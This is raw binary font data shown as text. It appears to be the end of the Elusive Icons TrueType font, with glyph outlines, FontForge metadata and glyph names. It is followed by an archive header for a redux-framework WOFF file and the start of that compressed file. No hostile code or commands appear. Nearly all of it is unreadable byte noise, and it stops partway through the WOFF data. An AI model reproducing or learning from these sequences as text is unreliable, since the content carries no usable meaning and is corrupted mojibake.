�/�7�N@KG�m�k���`��a�T�Y�M 5410"! / / +�  $%"3>2&>7>54'&"264F졡$aJD %#'; / T##- <?>U<<U;3졡F (?!N(M1t<?:06!.$T=AI;U<<U��13�'�2�>@;�m�k���`�T�X�L�0.)( �''+2'.67>76.#"#.7>2#"&4JTO* $p @ ?!/1[cqO$?%8P3WRq:I?($/)4/80pb*%g''F1$&,&'U4`O9%>%Pq����3� ��0�0@-0�G���^RX�L+*)(+�  $!#&>7%!#&>7F졡 ,C-4 Y)#L ,C-4 Y,+"3졡Fy'4O1<' w'4O1<,����3� ��/�.@+/�G�^��R�X���L+ $$ %>5!3>5!3졡Fw ,C-4Y-+" ,C-4Y,+"}Fy'4O1',w'4O1',�������'�:@7�G�p��R�V��J��''��+'>'#!'>'#!.!/9'' %7\QvNK./@H*%7\PwN !'51W\F&  #+D+1W\F& �����'�:@7�G�o��R��W�K��''��+3!4>%3!4>./?I)%%7\QvN./@H*&$;9RB[= #+D+ W\F&  #+D+ DsUE/%������ �"�9�M�I@F�GB:2*�;G�E<D��`TXLMK?=961)1;#+ 5#"+5;267>7676;!;2&'.+ 5#"'&'67>7;0>"'#^2!&V8MXX2^#- #F!XM#04 D  0$[15'*4'9N*&A$1 gN$?N\! ����3� ��"@��`���T��X���L+ $$ �"264졡F}F����"�^�n�y���@\[/.W3 M= G  m�  m  k�`�  `    `��� �`�  T� X� L{z$#z{uspohg`_ZYVTEC6410+)#^$^&+%#".'.7> 3>762#".5'632#".54767.54>32>7>�"2>4.2#".54%2#".546"4 Hu@D       2G(4B/4OdD(23&#ToqÓU"&15&Gha 9̶OO̵NNG22#((1$'2 6    4/B4.5*"&2$>Jc88cJ =$2&",59 '2VutV22VtuVw1F2'#0'#1'#2m��������� �+@( ��G�o���R��V��J+%! #'73!lhBީCt&q}hE����3��$�X@U#G�E$Dmk���`�T�Y�M�! � +27#!7.#"#>!32673#"&'XzS=Y'7=Y'zS3]S<D~3<D~]S����3� ��*�:@7*)('&%$#"!  G���`�T�X�L   +�  $%"2>4.7''7'F졡MsW0K~~KK~3졡F0WsM`~KK~~K�����3� ��)@& �G���T���X��L+�  $77'7'F졡3졡Ff�����3� �-+  OO OO* OO O������3� �*�D@A'&%$#G���`��`�T�X�L "  * *+�  $"3267'#"&4632.F졡G]8]^_.z`8VxxVH9[6e M[3졡F[8]G^]_PF/8xx-AgCG -���3��:@7�G���`�T�X�L� �+27%7&#"32>7#"$$X{Sb}a__aAw^4m졡3^T|ѳpN_¤_-P5yZLF�����3�� � @  �G���o�f+!''7!S3S������ � �)@& �G��ED���R���V��J+!5 5!0P0 0������3�� �!@��E D���o�f+!!''703��'3� �@ �ED��of+#3 3=#0%0%;0���������0@-  GD����^�R�V�J# +3!) !#)^  ����dR���r�E DKPX@'��ec���^�R�W�K@)��mk���^�R�W�KY@ + #3!#%!3 35#,,ᖖ> Rw,������3� ���#@  �G���T��X���L+ $$   졡F,w,}F����3� ��FKPX@(o�c��e��n�R�W�KKPX@)o�c���m��n�R�W�K@(o�o���m��n�R�W�KYY@ +!#!!3!#3 + +}Yi�����3����0@-��`��`���T��V��J+#4.#52 #4.#52#52E|n'y Lb r c}ӱ|EybLr������A�L�W�_�j�n�r�v"@? 2  GbDKPX@e�  m�k� e�  k�m� �`��  `��`� � _� � `RVJ@f�  m�k�  m�  k�m� �`��  `��`� � _� � `RVJY@5CB�vutsrqponmlka`]\YXSQNMIHBLCL,*&$!  �AA+23!&'#"&'&0"&463267>3267.'.'46"264&�"32>54$"2643.3#%3#%3#!<+6 %UASDC6"3#P1&D &&R2:-\<*% 3%_C&/C00C00!&s&&*o3&%!,<!G1Hp 3"+5"&6&.9%A 0  $"-D_Q&!00C0g0C/&!&&)%6(;GHHHHH������3� ���B@?�� �^��  ^^�R�X�L    +�  $3#!5#53!!F졡Y><>3졡F2C33CX������ ��7@4���^�^RV�J   +!!3!535!!LjjLrVVr�����3��/�K@H- �$! G��� � ^  ^�R�V�J/.*)(' +33##5.'#53>73#53>7#53.'#U}}UU}}U3y}UU}}UU}�����3� ��'�C@@G����`�`�T�X�L$#''++�  $"01753264%2"&46F졡Y-l>Hy,J,_^^3졡FcyTGk!)+K,C^^_��3��!�>@; GD�m���`�T�X�L!!'+�2#"'1'73&54>"264&8ѾRRhoOQ'NL짧3QоQ:}hLMv�������'@$�G�E �D���T��X���L-+ "4>3CgYf$7]T~ZH>CBAn~⢀Q:�����3� �!�=@:  G �E����^��`�R�V�J/4+!!!57! 5"4>3Rs&PZVIJu<W.9*GAaEi8/3+@VqGh|c>- �����3� �/�7�?�D@A�G���o��a�`TX�L=<985410$"! +�  $&!2674&'!7!2>?6&'%'&'"264$"264F졡 Sh O.!!.!*/!!/!3졡F\ i0 6;!/ /!!/ /�����#�+�7�5@2�E���o��`TXL6520+*'&6!#+#!!#!.?'.7>�"&462#"&4622""#!3 ,% =7O88Oo#(88O8R+- +:'e](gO77O8_$7O88��2~�'�2�6�:�>�B�F�J�@%$#"� GKPX@Q�  e�  m��^� � _����`�� ^�  ^�  R�� ^� V� J@R�  m�  m��^� � _����`�� ^�  ^�  R�� ^� V� JY@*GG;;GJGJIHFEDCBA@?;>;>=<:98765430.)(+37'#'&''7&/5767'767"3264!!!!53!!!!#v #YSH rr HSY# v #YSH rr HSY#sZ@2-@m@@[@@@[Tr HSY# v #YSH rr HSY# v #YSH @-2@Z[|[[|[|[{���3��� ��?@<���R�R�R�R�VJ�� �� +33#3#3#}P|X,��� 2�@�c�J@G �RA8JGX�E���o�m�k�T�X�LIG=<64$/+6&'&'.'.'>363>7.'&'.'.#7>7&'&'.'&7&67>6G<97b!8*']4 !/^CBQ&5R?,B&Q+rQ%&!2I4_\FT!3,eUERFf+A 7MT_[> 4(FC_ *!X.@V*3f@-I-% :*8*." !+;b'$r\FMBy,_&.adNP:Q=!LOTU+>��3�2�<�D�OG@;42'GK PX@2�m�d�� �^  `�R�X�LK PX@-�m�� �^  `�R�XLKPX@2�m�d�� �^  `�R�X�LKPX@-�m�� �^  `�R�XL@2�m�d�� �^  `�R�X�LYYYY@FE33LKEOFOBA>=3<3<98+/" +!672"&'&=.'.'&7&'.676%67�2"&4%2"&46>1'$8!:  mZ 9 J.Ur f  ? F# LuSSuS&A&SuSS3 &#aa[ +:Zc^>g    )SuSSuS&A':SSuS������3� ����'�F@C�� �^`��  `�R�X�L %#!    +�  $!2"&462"&4!#".F졡}t=8((8'9''9'Z;e:3졡F}tx'8((8''8((8Z:e����3�� ��!�6@3���`^�T�V�J!! +!!�"264$"2654.2>5PkLLkL,40#KlL#Qpp3PLkLLkL"05LL50"}qooq��������'�2�;�D�O�X�a�o�z����@�) }ysna[XRNHD>;51-+'! G���m��k�k��k��k� � k  � k� � k ��T ��X��Lbb�boboZYQPGF=<43  � +66'!&'6762'&'6'&'1/'&'2'&'12'&''&'&'&/6'&'61'&'6'&'62'&'66&'9l%7 ''>EJ4V'h 1   2 b    ) N  ,  c  +  /(DK \<8L#h?h of"hh h �hЅh)- ge tnl ^m'6 GF������0����-@* �G�E D���R���V��J+!!'654'7'6'Wd}VXX길[ZXZ,}{YXy{[[�����3��$�;�L�V�u@r/D TP G�m�m�  k����`��`��`  T  Y� MNMSQMVNVFEA@?>10(' +� ..54."&>6&."&>>.."&>6&2#"'>Fqq:AG ny a_ h]g RyP  JNV EzveDH"V[t3죒TCj?K=Ok(' .7 #/7"! !( !'cHG:E�����3�������!�J@GG! Eo���^����^�R�W�K1+%!!%'3!3#!#%% %'(NON2N5}2i*Q9a9b b v'q_rKT5w6+ ���3� ��3@0 �G�e�n���T���V��J+�  $%%7%F졡fa�Y3졡F1ڰ)��������'�4@1�E"   D���R��^���V��J,$,"+'%7%'3#'?/?%/^"iVq\c []#kZqVq#U PI�lBmC@lDDC����� �@�E �D���o�f+ Ǘb N ���3��'@$�G���R���V�J����+3 }��3��(@%�G��R�V���J����+# 3P& L &����3� ��(@%���^�R�X�L  +�  $!F졡X3졡FX������3��@���R���V��J+!!P3P�����3�3�[�Q@N6�7G�m��m���n �`�T�XL54USDA;94[5[':"& +&$'!2>74&'.'".56;6765#.=&'&#!#!&5>3c*=2tM8`:""   U1$==TZ8?&(*^"T6:%IC"@cKoY,P3-I 5 #_510;Yf))# -5L7$3   PH{ߟ^����3���&@#�m�n���T���X��L$'3+>3!"'.73>5.#6$\-XmM$4$&34#&3z\'6"Km?"T&35#&34�������0�1@.�)G�m���`��X��L$3+>7!'&7676&'&%3'6&'.+#46>S6<=|p%IJ,Iq`""+! <C=:!?*3I>&?�������� ����b@_�� �^��^� ^��^�  ^� R� V� J    +!!%!5!!%!5!!%35PPPwwvvww����3� �$�@ F�EDK PX@5��m em� ` T V�J@6��m mm� ` T V�JY@$#! +#3'3#%!#4&#3!5365450#"#ЋьI/MK/J3n$5::) L$n����3��$�@$ GF#  DK PX@*e���`�^� R� V�  J@+m���`�^� R� V�  JY@"!&! +!#4&#3!5367450#"#!55!'I0MK/J+3m%5;;* L%mƌЋ����3��� ��+@(��^RVJ+!!!!!!!!  ]  3  ���3��� ����<@9��^^  R  V   J +!!!!!!!!!!!!,%+,%+,%3,Ԗ,Ԗ,� ��3��� ������#�O@L��^   ^ R V J#"! +!!!!!!!!!!!!!!!!!!,,,|,,,|,,,3,,Ԗ,,Ԗ,,������.�3@0�T���`�XL�(&.. �+!'&'#.5>3!#.5>;u y (**AS#J  GGmR 1Z(@*   g�������!�3�D@A.&G��oR�aX�L""�"3"3,) �!!+6!!.'4>73>#"&'4>7-+T 3H&!      2;*K' :& [  0  f  ���3���"@�G���T��X���L%+� $$32'1]졡zװ T ֦z졡Fְ T ����3��"�*�4@1�m���`�R�W�K*)(&$#""+�2$&76"67>.'.3+53VtQQQQtVRW?V<<U4@@4*hnv3YWsQQ55sWDB@U<<V33+;d癙�����3��7�@. E��o���f$"+67>767>6.'.>74'&'&'&&A[k- &$,m[BA8>QV:<@>*-<   ,}f!#z"jyW:<?A9> -=?* 1"+���Fj3��!@��G���T��V���J(+!%.54>7jHKCN>hD&KB0S.TP]9Zo9X*������3� ���yKPX@*e���^� ^�R�X�L@+m���^� ^�R�X�LY@    +�  $#!5#5!F졡Zl*3졡F?:ii:��hH3�� �TKPX@���c�_�R�V�J@���o�_�R�V�JY@ +!!!5!!!*Z"Zt3\������3��#�J@G Gmk�^���T��W���K�� �� +!&'&535#5##332767=P' pYM\#2Jf5+53P 3Uv(@ ����2�1@.�G1.,!�E �D�o��o���f%$+%&'67&'767&'&57&'&7&7676676 B08aľicQPz 'y.B-b %qo,5fAz*IV9&KZN zmW :<bL'Z;A$S^JV@.qMT(/3/L������3� ��b�j�c@`0G�  m� k k� k� k��� �`� � `�T�Y�Mjife^[UT@?;:' +�  $$"2>4.'.'0.#".'5".#'.7654&&'&?>;2"&462F졡!RRSS  " g : // 9 !  3I33I3졡FQSRR  Vi      I-    0I33I3�����3� �#�}GKPX@)�e���`�_�R�X�L@*�m���`�_�R�X�LY@ !  # # +�  $#!!54>763.F졡7W4eF% tq3졡F33Y8\o\$ Pw��Ek3��5@2�m��`��R�V���J����#'+!35>7>3#&'&'kڸ/ 1KI228).<?*+ c1^Q!0:8/4D8*+*.;������3� ��"�;@8 Gm�k��`���T��X���L+ $$ �"2>4.##%#졡F~KK~~KK~}FK~~KK~~z �����3�3�=�I�B@?IFE>;:,+('!  G�m��R���`��V���J+#5.'535'&'&547>753.'4'.'>5R,^GUE?W"   ;;Q,\EO~FD>Z7+K< .  + rE%' 8ABahB%&nk &'/0J(  ""����3�+�@���T��V���J+%!5467>54.'&'&'&>2PsAPywY%  !6a|a6!  $'X63P-+YM58*xA/3?2""2?3/Aw+855G8�����P`3��+�Z�T@Q�B./ML:G��E���o�m��`�T�X�LTSHG20-,+2#&'&67>76'&.67>7>76�2&#">&5>54'7".4>'+N*Y73U565Qx >o4*  /90UQ'>D[Y.Nm>2R2' ( 4pK["EttDDt3-BJ-ZT4. 0j) c61;* ?/"[Z[@tW:`nzw^$U˵3D>&PXXtEEtt���3� ����<@9G���^��^�R�X�L   +�  $!!!7F졡Q3졡FX.{�������=@: G  FD���^�R�VJ+!!5#!55~㿿r���������� �0@- G���^�R�V�J+!!! Pbtfk�����3��� ������a@^� GF��E D��^�^�� ^� � ^� R� V� J +'!!!!!!!!!!!!!WYYKKv%II3YXV7,,�����3�I�M�_'&�GK.PX@�o���e���T���W��K@�o���m���T���W��KY@JJJMJMLK204+&:'.'.'&7>:6767>&!@l#2 53#,-   "6 Ao* P1#i;<#LD:-E&' )%  [ / [ O/Q7<SP����3��b�W@TEXGe�k�k�� �`TV�JLG:952'# b_ +!!#'&'&"&7232>?>?>'&'"'&7>'05.#"+".>56'"&PV 8=  a4 7u,//>#  ]! "X+= '   H>3Po%qJ !/x) ; T(3R'B (61+   5/!%8167�����)@& �G�E D���R���V��J+3#'654'olnJLL++ljLLhjO���lD�'�-�?@<'&"  �G*E+D�R��`�V�J$%+#"/#"/&54?'&54?62762%3#A9RQ9QQ9QR9Q|o9RR9QQ9RR9Q++���������!�1@. �G!�E D���R���V��J+3#'654'7'6'7'6'omoJMMʟObnnbL++ljLLhjOɟ?O}kbaL�����3��Q�u�z�@}o`Y?#GyxwD   e� � �m��mn `�`� �T��X ��Lvvvzvztqmjeb^[WTLKIGCB;820)'QQ#)'+6/&#"&463?>'&#"32!>7&'65.#"7632&#"72#"'.6&+"'&+"'&+";2?;27 2- !!-'TFVVFTu6J&"I1N+ !   6#!" ,7 =,; L:9"8[9UkjC12 ,49=  1  " >a  i���3��� �@@=G�Eo�^���R��V���J  + !37535XXP*0\\3Pߟ+dd�����3� ������#�l@i���^�^�    ^ �^�R�X�L  # #"!  +�  $!!!!535335335F졡x~ 4wjjk3졡FTNHjjjjjj������ ��� ����M@J� � ^ �^� �^� R� V  J   +%#53#53#53!%!!!?&xpj“d����(3� �:�f�j@g m�k m ���`��`�� a� T� X� L<;�\ZJH;f<f652-$"!::�  +#.'>23'#3&'&#.'3&6766676767>.'.'676763CF/"7 6B!    8  ?AJ# ,F ' ]681+c|gPS " 0jrU9;@GNv3D13E 6!!7 ' },'  &$S,  $&LR[?p)Y6<V |GI>7;Meh-���3��(�,�]�c�o�f@c5ng_^WVUBA+*) G m� `�`���T��X ��L--�-]-]KJIH31/. (( � +.'>73>5.'>7& 67>'&##& 676'.&'&67676'W{ޟ^cv{ߠ^@q_rϔX\msϔX\TPK{bE8(M5  oT5# &Qq4NDzU Z}cv{ޟ^cvco<[msϔX\nrϓXP58 kyF?3'%% Kb&  & Uh@ykc14<J"�����3� ��(�A@>G�p���`�T�X�L &%!  +�  $">'/7&62"&4F졡ZQ9)vS4qRxU!x!/  3졡FO9)q4vSRq4x!Ux ���,���$@! �G��E D���o�f+7''&>�&"267 (V6 (z"0!!0" ǎ7U( 5V(""0!!��������� @�G���R��V���J+%!! P\/����3� �"�.�S@P" G D��  `��^ �^�T�X�L��*)$#� �  +3##5#535'#".4>322>4."f݋mǐUUmJvcE'aѱffѱgg� aUǐU'EcvILfѱffѱ���3��"�&�A@>��G�D��`�^���T��X���L###&#&%#+%'#".4>22>4.#"75!݋mǐUUǐUaѱffiNg=g3 aUǐUUmLfѱf<gOh͙������C_<� ����vJ����vK3�������������3�l�����������������(����������������������������������������'��������2�������8�����@�������c�d������������������������������������������������������������������������������������������:�����F���l�������������������*�����������R��:�-����������������������^�����^������������8�g���?�������������������������������������*���4���+�������������������������������=�+��������c�������������������d������������������1����������������������������������'�����������������������������2��� ��������������������������������������������������F���h���������E������P��������������l�����������(�����������������(�(�(�8 t6tF r t \ T <t:Vr6xN<l(nf&Lv0  l !N!"""p##`#$$$%P%%&&b&&'\())R)j*.->00h01B12334\6 78^89 9:;<D==>t>?6@.@ANAAABCDDDEElEF4G(GGHHHHJ"JJK KLMFOOOPP~PQ2QtRjS$S\SvST TURUVVBVZVWBWXBXXYYJYZ:ZZZ[`[\\>\\_X__``aPabpbc`cd.ddezeffgdghh6hhi$iRiiijBjjkDl~lmmzmn2njnoLoppqrs>stu"uvTvww0wXwwwxxyDyz(zz{0{| ||}&}}~0~v~B@΂Ѓ ^^VJX,|R���5�������L�\�s��� l������������������������� ���������8�������(�������� ��������������� .�� �������� ����� �� �*�� ��P�?�� ����� �� ��� ������e�l�u�s�i�v�e�i�c�o�n�s��elusiveicons��M�e�d�i�u�m��Medium��F�o�n�t�F�o�r�g�e� �2�.�0� �:� �e�l�u�s�i�v�e�i�c�o�n�s� �:� �2�4�-�2�-�2�0�1�5��FontForge 2.0 : elusiveicons : 24-2-2015��e�l�u�s�i�v�e�i�c�o�n�s��elusiveicons��V�e�r�s�i�o�n� �0�0�1�.�0�0�0� ��Version 001.000 ��e�l�u�s�i�v�e�i�c�o�n�s��elusiveicons�����������j�<�������������������5����      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~�      !"#$%&'()*+,-./0123uniF101uniF102uniF103uniF104uniF105uniF106uniF107uniF108uniF109uniF10AuniF10BuniF10CuniF10DuniF10EuniF10FuniF110uniF111uniF112uniF113uniF114uniF115uniF116uniF117uniF118uniF119uniF11AuniF11BuniF11CuniF11DuniF11EuniF11FuniF120uniF121uniF122uniF123uniF124uniF125uniF126uniF127uniF128uniF129uniF12AuniF12BuniF12CuniF12DuniF12EuniF12FuniF130uniF131uniF132uniF133uniF134uniF135uniF136uniF137uniF138uniF139uniF13AuniF13BuniF13CuniF13DuniF13EuniF13FuniF140uniF141uniF142uniF143uniF144uniF145uniF146uniF147uniF148uniF149uniF14AuniF14BuniF14CuniF14DuniF14EuniF14FuniF150uniF151uniF152uniF153uniF154uniF155uniF156uniF157uniF158uniF159uniF15AuniF15BuniF15CuniF15DuniF15EuniF15FuniF160uniF161uniF162uniF163uniF164uniF165uniF166uniF167uniF168uniF169uniF16AuniF16BuniF16CuniF16DuniF16EuniF16FuniF170uniF171uniF172uniF173uniF174uniF175uniF176uniF177uniF178uniF179uniF17AuniF17BuniF17CuniF17DuniF17EuniF17FuniF180uniF181uniF182uniF183uniF184uniF185uniF186uniF187uniF188uniF189uniF18AuniF18BuniF18CuniF18DuniF18EuniF18FuniF190uniF191uniF192uniF193uniF194uniF195uniF196uniF197uniF198uniF199uniF19AuniF19BuniF19CuniF19DuniF19EuniF19FuniF1A0uniF1A1uniF1A2uniF1A3uniF1A4uniF1A5uniF1A6uniF1A7uniF1A8uniF1A9uniF1AAuniF1ABuniF1ACuniF1ADuniF1AEuniF1AFuniF1B0uniF1B1uniF1B2uniF1B3uniF1B4uniF1B5uniF1B6uniF1B7uniF1B8uniF1B9uniF1BAuniF1BBuniF1BCuniF1BDuniF1BEuniF1BFuniF1C0uniF1C1uniF1C2uniF1C3uniF1C4uniF1C5uniF1C6uniF1C7uniF1C8uniF1C9uniF1CAuniF1CBuniF1CCuniF1CDuniF1CEuniF1CFuniF1D0uniF1D1uniF1D2uniF1D3uniF1D4uniF1D5uniF1D6uniF1D7uniF1D8uniF1D9uniF1DAuniF1DBuniF1DCuniF1DDuniF1DEuniF1DFuniF1E0uniF1E1uniF1E2uniF1E3uniF1E4uniF1E5uniF1E6uniF1E7uniF1E8uniF1E9uniF1EAuniF1EBuniF1ECuniF1EDuniF1EEuniF1EFuniF1F0uniF1F1uniF1F2uniF1F3uniF1F4uniF1F5uniF1F6uniF1F7uniF1F8uniF1F9uniF1FAuniF1FBuniF1FCuniF1FDuniF1FEuniF1FFuniF200uniF201uniF202uniF203uniF204uniF205uniF206uniF207uniF208uniF209uniF20AuniF20BuniF20CuniF20DuniF20EuniF20FuniF210uniF211uniF212uniF213uniF214uniF215uniF216uniF217uniF218uniF219uniF21AuniF21BuniF21CuniF21DuniF21EuniF21FuniF220uniF221uniF222uniF223uniF224uniF225uniF226uniF227uniF228uniF229uniF22AuniF22BuniF22CuniF22DuniF22EuniF22FuniF230uniF231uniF232����������������, �UXEY K�QKSZX4(Y`f UX%a��cc#b!!�Y�C#D��C`B-, `f-, d P&Z( CEcER[X!#!X PPX!@Y 8PX!8YY  CEcEad(PX! CEcE 0PX!0Y PX f a PX` PX! ` 6PX!6``YYY+YY#�PXeYY-, E %ad CPX#B#B!!Y`-,#!#! dbB #B CEc C�`E*! C +0%QX`PaRYX#Y! @SX+!@Y#�PXeY-,C+��C`B-,#B# �#Babfc`*-, E Cc�b �PX@`Yfc`D`-, �CEB*!��C`B- ,�C#D��C`B- , E +#�C%` E#a d PX!�0PX @YY#�PXeY%#aDD`- , E +#�C%` E#a d$PX�@Y#�PXeY%#aDD`- , �#B EX!#!Y*!- ,EdaD-,` CJ�PX #BY CJ�RX #BY-, bfc �c#aC` ` #B#-,KTXdDY$ e#x-,KQXKSXdDY!Y$e#x-,�CUXCaB+Y�C%B %B %B# %PX�C`%B #a*!#a #a*!�C`%B%a*!Y CG CG`b �PX@`Yfc Cc�b �PX@`Yfc`��#DC�>C`B-,��ETX#B E #B #�`B `a��BB`+r+"Y-,�+-,+-,+-,+-,+-,+-,+-,+-,+-, +-,� +�ETX#B E #B #�`B `a��BB`+r+"Y-,�+- ,+-!,+-",+-#,+-$,+-%,+-&,+-',+-(, +-), <`-*, `` C#`C%a`)*!-+,*+**-,, G Cc�b �PX@`Yfc`#a8# UX G Cc�b �PX@`Yfc`#a8!Y--,��ETX,*0"Y-.,� +�ETX,*0"Y-/, 5`-0,�Ec�b �PX@`Yfc+ Cc�b �PX@`Yfc+������D>#8/*-1, < G Cc�b �PX@`Yfc`�Ca8-2,.<-3, < G Cc�b �PX@`Yfc`�CaCc8-4,�% . G�#B%IG#G#a Xb!Y#B3*-5,�%%G#G#a C+e.# <8-6,�%% .G#G#a #B C+ `PX @QX  &YBB# C #G#G#a#F`Cb �PX@`Yfc` + a C`d#CadPXCaC`Y%b �PX@`Yfca# &#Fa8#CF%CG#G#a` Cb �PX@`Yfc`# +#C`+%a%b �PX@`Yfc&a %`d#%`dPX!#!Y# &#Fa8Y-7,� & .G#G#a#<8-8,� #B F#G+#a8-9,�%%G#G#a�TX. <#!%%G#G#a %%G#G#a%%I%a��cc# Xb!Yc�b �PX@`Yfc`#.# <8#!Y-:,� C .G#G#a ` `fb �PX@`Yfc# <8-;,# .F%FRX <Y.++-<,# .F%FPX <Y.++-=,# .F%FRX <Y# .F%FPX <Y.++->,5+# .F%FRX <Y.++-?,6+ <#B8# .F%FRX <Y.++C.++-@,�%& .G#G#a C+# < .#8++-A,%B�%% .G#G#a #B C+ `PX @QX  &YBB# GCb �PX@`Yfc` + a C`d#CadPXCaC`Y%b �PX@`Yfca%Fa8# <#8! F#G+#a8!Y++-B,5+.++-C,6+!# <#B#8++C.++-D,� G�#B�.1*-E,� G�#B�.1*-F,�2*-G,4*-H,�E# . F#a8++-I,#BH+-J,��A+-K,�A+-L,�A+-M,A+-N,��B+-O,�B+-P,�B+-Q,B+-R,��>+-S,�>+-T,�>+-U,>+-V,��@+-W,�@+-X,�@+-Y,@+-Z,��C+-[,�C+-\,�C+-],C+-^,��?+-_,�?+-`,�?+-a,?+-b,7+.++-c,7+;+-d,7+<+-e,�7+=+-f,8+.++-g,8+;+-h,8+<+-i,8+=+-j,9+.++-k,9+;+-l,9+<+-m,9+=+-n,:+.++-o,:+;+-p,:+<+-q,:+=+-r, EX!#!YB+e$Px0-�K�RXY��cp�B��*�B�*�B�*�B��� *�B��� *�D$QX@XdD&QX�@cTX�DYYYY� *�D�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/elusive-icons/fonts/elusiveicons-webfont.woff���������������������0000644�����������������00000137654�14720701300�0024242 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������wOFF���������9�����������������������FFTM��l������nbdGDEF�������� b�OS/2�����I���`JKh cmap�����C��B�cvt ��8��� ��� ����fpgm��D���� lo9gasp�����������glyf����O�\head��0���2���61hhea��d��� ���$ R5hmtx�������r!c loca��d��l��lںmaxp����� ���  name�������*post����c�� prep��D���e���{kxc```d�3΃Be^0�DG��xc`d``b `b`d`d4,`��h�xc`aكafr`f4 l p `20Ɉ3C1CPI#�C ���xc```f`F| @'>2U�c202 &T0�s�������������xVisF J`x-2c]/+ ];'~~MkI7~Z^`'UT(jMiuO$$#)7_ɭMy P{!J#bDZjv@:A{diG9-ے^5dV}i(NCIfzdKZeE2뒒6-[IZ| %HIc0G1F+Vb;&ˍ"EDGy-O b |R>Ȋ=*hd;+tD\|ف7Ls\,[aܴ(Tx`sBS=*j܎ueR *?!Y-MŲGZrAeAKށ)q8;"eg >.XwEe=U $lV QRZS^%ש}6 uб&tթ< JIg:#6VXy4m$ p.MLcIͣifv-ZܣVu3Vgb* ħ)mggg?dͣR3X<d(.[v^c_A߳'B& ߀xN)`&ČZheYV3Zd"W iJNh12MO[bR~gg\zڗ ,rq=әv:=<uV`ΊllalG:e{A p!6@^B la@ؖEcv eSYX(BqG.sS.q]4:!O[%Կ2/yXd-*GU9芖7MX79P?5L"ozrdգkrZ@)|IVdo&$| U11p][,ο2C=H+JjV^?T`I2o/r2/7A [mjoޓLw炸($m< y!C6P;69pꎲn//o9 {}J~5{*Y5nrC50m#'STYG#9%җ|գnN^e^A41wL_ʻZ [*kUQ9kn'nz_ӊ`nD6e rs)z wh}>ϕ8Ro'Q=zy R!ħpBWq70kt!VrߩN4#=|;B<�|;| `<19 aYa]0c/%sa1�O+09 a}o f9 5jT:0=,5°7?5PⅡlS1j3 C aS\/#ߥ/4$|@�����x`՝?olmEۛz[%YH-Ɩer6ƴЃmZ @)jcI%!4vI.KXf%܅ޝٙW-- G$R[B8JIB0Fy<B$Q6Nx_]^O虼A5~M^;D%1R$g(ATATm!PdLb4LD"0QhM'6a` qMknjE-EtsHnirz Bث(d#P]/5B~/, a! \F?0\c=vE.Z B H6;w n'XxH trkk*(Wl{Mm d >c 0IDIqDi GL ;N| 3eM%HWRf;_Udž̗叽 IߐRHtA*׍C5G'ѴP G^o߼_+kZOo]9Mcc"'1H$Er4y ]S[Fl6I1,%[n8I>{a;x {$;a;G ux P_]W]W[fT<LĢ@8 qs0R'}B}Q7 N:R;ic'-g}֧</{�Ǭ>^ӤOKMiiv9}2eEz?yHc8B!ǘ!I\ y_Hٿc3?}f?M`@˝ "^" _) (<PnT@܀ :}W$ ;d[Sr>5]O 9eHVB n3[['X`#GTle5]OoܶXVȏj7o^Sܵm`qf9iXu44iAF./!˘;BA53/ïvd)|yX׉X5'Wy:˧�(فL*#pt%TA* q@db4teUVm /�,g~=vt5}i63מ#W=#cd5[0$Age/~Lr9ި)<7f[ɞ%Dvg~|z 8jentJ 8k%eXNTZD`8+KU.ò~ /Uw>aw%I)E+M@c3�sr I2^Py_ѝAl~ �(OQ@@xa ?0CK; \=ٻsp $ &lN~(CT huZ,E<j^lk+R/H+9WӔghr_ONolHufRv_U[, boYMq9DyD ! l>SaϷOw4EoXedǭj(S{7Hyu5ڞOFj`^M_K5y- dYMBO-[ufvekp5d/+ڑ "].g $r) ^s#GWW`n셇y{ׯ7u�β0ml7ԁn+");M&8h#Ǒ7>y5|:KŴ7`u~f~;Bϲx7}e)/l__+~g_=&<'!B4 <Y|wg@GwUE8ELͣ3%>@Q먾=kǎ'wmmCUW}/g~笾 7)'3F(.*+DB'MtC<Ex*/NivU8v$e'q]ӅGX.y3(B@ɱ \XWS-IC9B*ܥl.+IOR/_�E b잔H2-$ro5u / y?(L!< L hdSn†L:r:-Mpft{0I`کl641t]Y/yd͚4]ّQ-ϗ)ck\.ohv&\09uUz,vOd]S-4qiB'AP$R&9KpԹq4!QS$BIGn{d*\�_ne[6>?KGWWP `ldi-7,)""d>i.215\V l<|k +.rL_A.GK'Q$ h=4N=VX+ZӃr� ɬ­&qyO"mDЄ]h\(xk`~3DV}D+t& h_2_%?Į.|˥jK?T7YyZ*` D K{ج fDdNB&9GJ0s(w&w 8KF.W58HFNRԆRڊh][ вJhU}SXS?ԓ|`4֝lm5#T ]x-,8okZ�ވB#9,&e2H<#FYsBҔhü|x.|Ѥm|;ߊ$@+Vd|xM'ێ|! ;=7u] Uwq:ad++swkM/yUW"q>WFF]VQ*K:d$uV|fv61LO5ez_m8[A ^{S||wgR`Fk,\9Zux( -HVCI>t yy 3׼\GG!e~�,;!̕5Wc>_͞K?:xXGm U&6*S̨aLA%J[@ 9Ef\a\Q "žreEy:مƌ ]$O‚щh;4[l~6я͟By7e6q^ƽN͕H%$TL:Rls`9-jhqlC|s|Lƭ!t+ڊxˣsU^+;玞ʑec}cFu)=6][.pnot%,|h:ʡ{K5a g2UU %vyX(@DQUe(:FTE C?OM6\̌@.Ufb%f>&P3YM۠{A# |  ں+2 yZEs~ Bb:"DEˎ%B7W*R7]vѓhh[cKW9yTUzI:/8g`{n1'8Pmwu[촠f3RbZw67$<$_uI3\NLۀ}o1jcEƙ};qw_-kAVy(_y_/?kufSoʗJm̈́^.>R"BN/"3sJus1!Gs&"CjC*^j5AΥLA}r-sN }/@lT{k${qbgK%L腎پѹ)Q@f-#-".E@-k [b19MkɈc%J _"m&aGPԹt6D)/V5 ]n;[Smֵ~+e< p/@!9TzwmSU鸫jZڕvhTd5yVӹ-eAn ygP*$n y}=ą<B 'QRMd]"`w*p:.{5܊046r X߶>]Xnդֳq2Xs?שɕMXL:z].MXB[9"Ƽ'.֠3};O 15/ǔSzIfv": yf2Z)QJ2AZ¢hOzg%vzyf^lj INh<teşE wM?\ٖ ji]FnrՂlͮ )\g/ XN{ \N&U85~�|ī{<iOh$|Wllj3"vI"ץ|gx< 